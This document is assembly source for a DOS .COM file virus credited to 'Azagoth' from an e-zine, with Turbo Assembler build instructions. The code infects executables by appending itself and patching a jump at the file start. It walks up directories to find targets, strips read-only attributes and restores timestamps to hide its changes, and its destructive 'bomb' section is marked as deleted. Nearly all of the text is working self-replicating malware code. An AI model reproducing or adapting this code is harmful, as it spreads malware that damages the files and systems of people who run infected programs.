2022-08-21 09:07:57 +00:00
|
|
|
|
; virus from ALT-11 mag
|
|
|
|
|
|
|
|
|
|
; ---------------------------------------
|
|
|
|
|
;
|
|
|
|
|
; Coded by: Azagoth
|
|
|
|
|
; ---------------------------------------
|
|
|
|
|
; Assemble using Turbo Assembler:
|
|
|
|
|
; tasm /m2 <filename>.asm
|
|
|
|
|
; tlink /t <filename>.obj
|
|
|
|
|
; ---------------------------------------------------------------------------
|
|
|
|
|
; - Non-Overwriting .COM infector (excluding COMMAND.COM)
|
|
|
|
|
; - COM growth: XXX bytes
|
|
|
|
|
; - It searches the current directory for uninfected files. If none are
|
|
|
|
|
; found, it searches previous directory until it reaches root and no more
|
|
|
|
|
; uninfected files are found. (One infection per run)
|
|
|
|
|
; - Also infects read-only files
|
|
|
|
|
; - Restores attributes, initial date/time-stamps, and original path.
|
|
|
|
|
; ---------------------------------------------------------------------------
|
|
|
|
|
|
|
|
|
|
.model tiny
|
|
|
|
|
.code
|
|
|
|
|
|
|
|
|
|
org 100h ; adjust for psp
|
|
|
|
|
|
|
|
|
|
start:
|
|
|
|
|
|
|
|
|
|
call get_disp ; push ip onto stack
|
|
|
|
|
get_disp:
|
|
|
|
|
pop bp ; bp holds current ip
|
|
|
|
|
sub bp, offset get_disp ; bp = code displacement
|
|
|
|
|
|
|
|
|
|
; original label offset is stored in machine code
|
|
|
|
|
; so new (ip) - original = displacement of code
|
|
|
|
|
|
|
|
|
|
save_path:
|
|
|
|
|
mov ah, 47h ; save cwd
|
|
|
|
|
xor dl, dl ; 0 = default drive
|
|
|
|
|
lea si, [bp + org_path]
|
|
|
|
|
int 21h
|
|
|
|
|
|
|
|
|
|
get_dta:
|
|
|
|
|
mov ah, 2fh
|
|
|
|
|
int 21h
|
|
|
|
|
|
|
|
|
|
mov [bp + old_dta_off], bx ; save old dta offset
|
|
|
|
|
|
|
|
|
|
set_dta: ; point to dta record
|
|
|
|
|
mov ah, 1ah
|
|
|
|
|
lea dx, [bp + dta_filler]
|
|
|
|
|
int 21h
|
|
|
|
|
|
|
|
|
|
search:
|
|
|
|
|
mov ah, 4eh ; find first file
|
|
|
|
|
mov cx, [bp + search_attrib] ; if successful dta is
|
|
|
|
|
lea dx, [bp + search_mask] ; created
|
|
|
|
|
int 21h
|
|
|
|
|
jnc clear_attrib ; if found, continue
|
|
|
|
|
|
|
|
|
|
find_next:
|
|
|
|
|
mov ah, 4fh ; find next file
|
|
|
|
|
int 21h
|
|
|
|
|
jnc clear_attrib
|
|
|
|
|
|
|
|
|
|
still_searching:
|
|
|
|
|
mov ah, 3bh
|
|
|
|
|
lea dx, [bp + previous_dir] ; cd ..
|
|
|
|
|
int 21h
|
|
|
|
|
jnc search
|
|
|
|
|
jmp bomb ; at root, no more files
|
|
|
|
|
|
|
|
|
|
clear_attrib:
|
|
|
|
|
mov ax, 4301h
|
|
|
|
|
xor cx, cx ; get rid of attributes
|
|
|
|
|
lea dx, [bp + dta_file_name]
|
|
|
|
|
int 21h
|
|
|
|
|
|
|
|
|
|
open_file:
|
|
|
|
|
mov ax, 3D02h ; AL=2 read/write
|
|
|
|
|
lea dx, [bp + dta_file_name]
|
|
|
|
|
int 21h
|
|
|
|
|
|
|
|
|
|
xchg bx, ax ; save file handle
|
|
|
|
|
; bx won't change from now on
|
|
|
|
|
check_if_command_com:
|
|
|
|
|
cld
|
|
|
|
|
lea di, [bp + com_com]
|
|
|
|
|
lea si, [bp + dta_file_name]
|
|
|
|
|
mov cx, 11 ; length of 'COMMAND.COM'
|
|
|
|
|
repe cmpsb ; repeat while equal
|
|
|
|
|
jne check_if_infected
|
|
|
|
|
jmp close_file
|
|
|
|
|
|
|
|
|
|
check_if_infected:
|
|
|
|
|
mov dx, word ptr [bp + dta_file_size] ; only use first word since
|
|
|
|
|
; COM file
|
|
|
|
|
sub dx, 2 ; file size - 2
|
|
|
|
|
|
|
|
|
|
mov ax, 4200h
|
|
|
|
|
mov cx, 0 ; cx:dx ptr to offset from
|
|
|
|
|
int 21h ; origin of move
|
|
|
|
|
|
|
|
|
|
mov ah, 3fh ; read last 2 characters
|
|
|
|
|
mov cx, 2
|
|
|
|
|
lea dx, [bp + last_chars]
|
|
|
|
|
int 21h
|
|
|
|
|
|
|
|
|
|
mov ah, [bp + last_chars]
|
|
|
|
|
cmp ah, [bp + virus_id]
|
|
|
|
|
jne save_3_bytes
|
|
|
|
|
mov ah, [bp + last_chars + 1]
|
|
|
|
|
cmp ah, [bp + virus_id + 1]
|
|
|
|
|
jne save_3_bytes
|
|
|
|
|
jmp close_file
|
|
|
|
|
|
|
|
|
|
save_3_bytes:
|
|
|
|
|
mov ax, 4200h ; 00=start of file
|
|
|
|
|
xor cx, cx
|
|
|
|
|
xor dx, dx
|
|
|
|
|
int 21h
|
|
|
|
|
|
|
|
|
|
mov ah, 3Fh
|
|
|
|
|
mov cx, 3
|
|
|
|
|
lea dx, [bp + _3_bytes]
|
|
|
|
|
int 21h
|
|
|
|
|
|
|
|
|
|
goto_eof:
|
|
|
|
|
mov ax, 4202h ; 02=End of file
|
|
|
|
|
xor cx, cx ; offset from origin of move
|
|
|
|
|
xor dx, dx ; (i.e. nowhere)
|
|
|
|
|
int 21h ; ax holds file size
|
|
|
|
|
|
|
|
|
|
; since it is a COM file, overflow will not occur
|
|
|
|
|
|
|
|
|
|
save_jmp_displacement:
|
|
|
|
|
sub ax, 3 ; file size - 3 = jmp disp.
|
|
|
|
|
mov [bp + jmp_disp], ax
|
|
|
|
|
|
|
|
|
|
write_code:
|
|
|
|
|
mov ah, 40h
|
|
|
|
|
mov cx, virus_length ;*** equate
|
|
|
|
|
lea dx, [bp + start]
|
|
|
|
|
int 21h
|
|
|
|
|
|
|
|
|
|
goto_bof:
|
|
|
|
|
mov ax, 4200h
|
|
|
|
|
xor cx, cx
|
|
|
|
|
xor dx, dx
|
|
|
|
|
int 21h
|
|
|
|
|
|
|
|
|
|
write_jmp: ; to file
|
|
|
|
|
mov ah, 40h
|
|
|
|
|
mov cx, 3
|
|
|
|
|
lea dx, [bp + jmp_code]
|
|
|
|
|
int 21h
|
|
|
|
|
|
|
|
|
|
inc [bp + infections]
|
|
|
|
|
|
|
|
|
|
restore_date_time:
|
|
|
|
|
mov ax, 5701h
|
|
|
|
|
mov cx, [bp + dta_file_time]
|
|
|
|
|
mov dx, [bp + dta_file_date]
|
|
|
|
|
int 21h
|
|
|
|
|
|
|
|
|
|
close_file:
|
|
|
|
|
mov ah, 3eh
|
|
|
|
|
int 21h
|
|
|
|
|
|
|
|
|
|
restore_attrib:
|
|
|
|
|
xor ch, ch
|
|
|
|
|
mov cl, [bp + dta_file_attrib] ; restore original attributes
|
|
|
|
|
mov ax, 4301h
|
|
|
|
|
lea dx, [bp + dta_file_name]
|
|
|
|
|
int 21h
|
|
|
|
|
|
|
|
|
|
done_infecting?:
|
|
|
|
|
mov ah, [bp + infections]
|
|
|
|
|
cmp ah, [bp + max_infections]
|
|
|
|
|
jz bomb
|
|
|
|
|
jmp find_next
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
bomb:
|
|
|
|
|
|
|
|
|
|
; cmp bp, 0
|
|
|
|
|
; je restore_path ; original run
|
|
|
|
|
;
|
|
|
|
|
;---- Stuff deleted
|
|
|
|
|
|
|
|
|
|
restore_path:
|
|
|
|
|
mov ah, 3bh ; when path stored
|
|
|
|
|
lea dx, [bp + root] ; '\' not included
|
|
|
|
|
int 21h
|
|
|
|
|
|
|
|
|
|
mov ah, 3bh ; cd to original path
|
|
|
|
|
lea dx, [bp + org_path]
|
|
|
|
|
int 21h
|
|
|
|
|
|
|
|
|
|
restore_dta:
|
|
|
|
|
mov ah, 1ah
|
|
|
|
|
mov dx, [bp + old_dta_off]
|
|
|
|
|
int 21h
|
|
|
|
|
|
|
|
|
|
restore_3_bytes: ; in memory
|
|
|
|
|
lea si, [bp + _3_bytes]
|
|
|
|
|
mov di, 100h
|
|
|
|
|
cld ; auto-inc si, di
|
|
|
|
|
mov cx, 3
|
|
|
|
|
rep movsb
|
|
|
|
|
|
|
|
|
|
return_control_or_exit?:
|
|
|
|
|
cmp bp, 0 ; bp = 0 if original run
|
|
|
|
|
je exit
|
|
|
|
|
mov di, 100h ; return control back to prog
|
|
|
|
|
jmp di ; -> cs:100h
|
|
|
|
|
|
|
|
|
|
exit:
|
|
|
|
|
mov ax, 4c00h
|
|
|
|
|
int 21h
|
|
|
|
|
|
|
|
|
|
;-------- Variable Declarations --------
|
|
|
|
|
|
|
|
|
|
old_dta_off dw 0 ; offset of old dta address
|
|
|
|
|
|
|
|
|
|
;-------- dta record
|
|
|
|
|
dta_filler db 21 dup (0)
|
|
|
|
|
dta_file_attrib db 0
|
|
|
|
|
dta_file_time dw 0
|
|
|
|
|
dta_file_date dw 0
|
|
|
|
|
dta_file_size dd 0
|
|
|
|
|
dta_file_name db 13 dup (0)
|
|
|
|
|
;--------
|
|
|
|
|
search_mask db '*.COM',0 ; files to infect: *.COM
|
|
|
|
|
search_attrib dw 00100111b ; all files a,s,h,r
|
|
|
|
|
com_com db 'COMMAND.COM'
|
|
|
|
|
|
|
|
|
|
previous_dir db '..',0
|
|
|
|
|
root db '\',0
|
|
|
|
|
org_path db 64 dup (0) ; original path
|
|
|
|
|
|
|
|
|
|
infections db 0 ; counter
|
|
|
|
|
max_infections db 1
|
|
|
|
|
|
|
|
|
|
_3_bytes db 0, 0, 0
|
|
|
|
|
jmp_code db 0E9h
|
|
|
|
|
jmp_disp dw 0
|
|
|
|
|
|
|
|
|
|
last_chars db 0, 0 ; do last chars = ID ?
|
|
|
|
|
|
|
|
|
|
virus_id db 'AZ'
|
|
|
|
|
|
|
|
|
|
eov: ; end of virus
|
|
|
|
|
|
|
|
|
|
virus_length equ offset eov - offset start
|
|
|
|
|
|
|
|
|
|
end start
|
|
|
|
|
|
2021-01-12 23:29:01 +00:00
|
|
|
|
|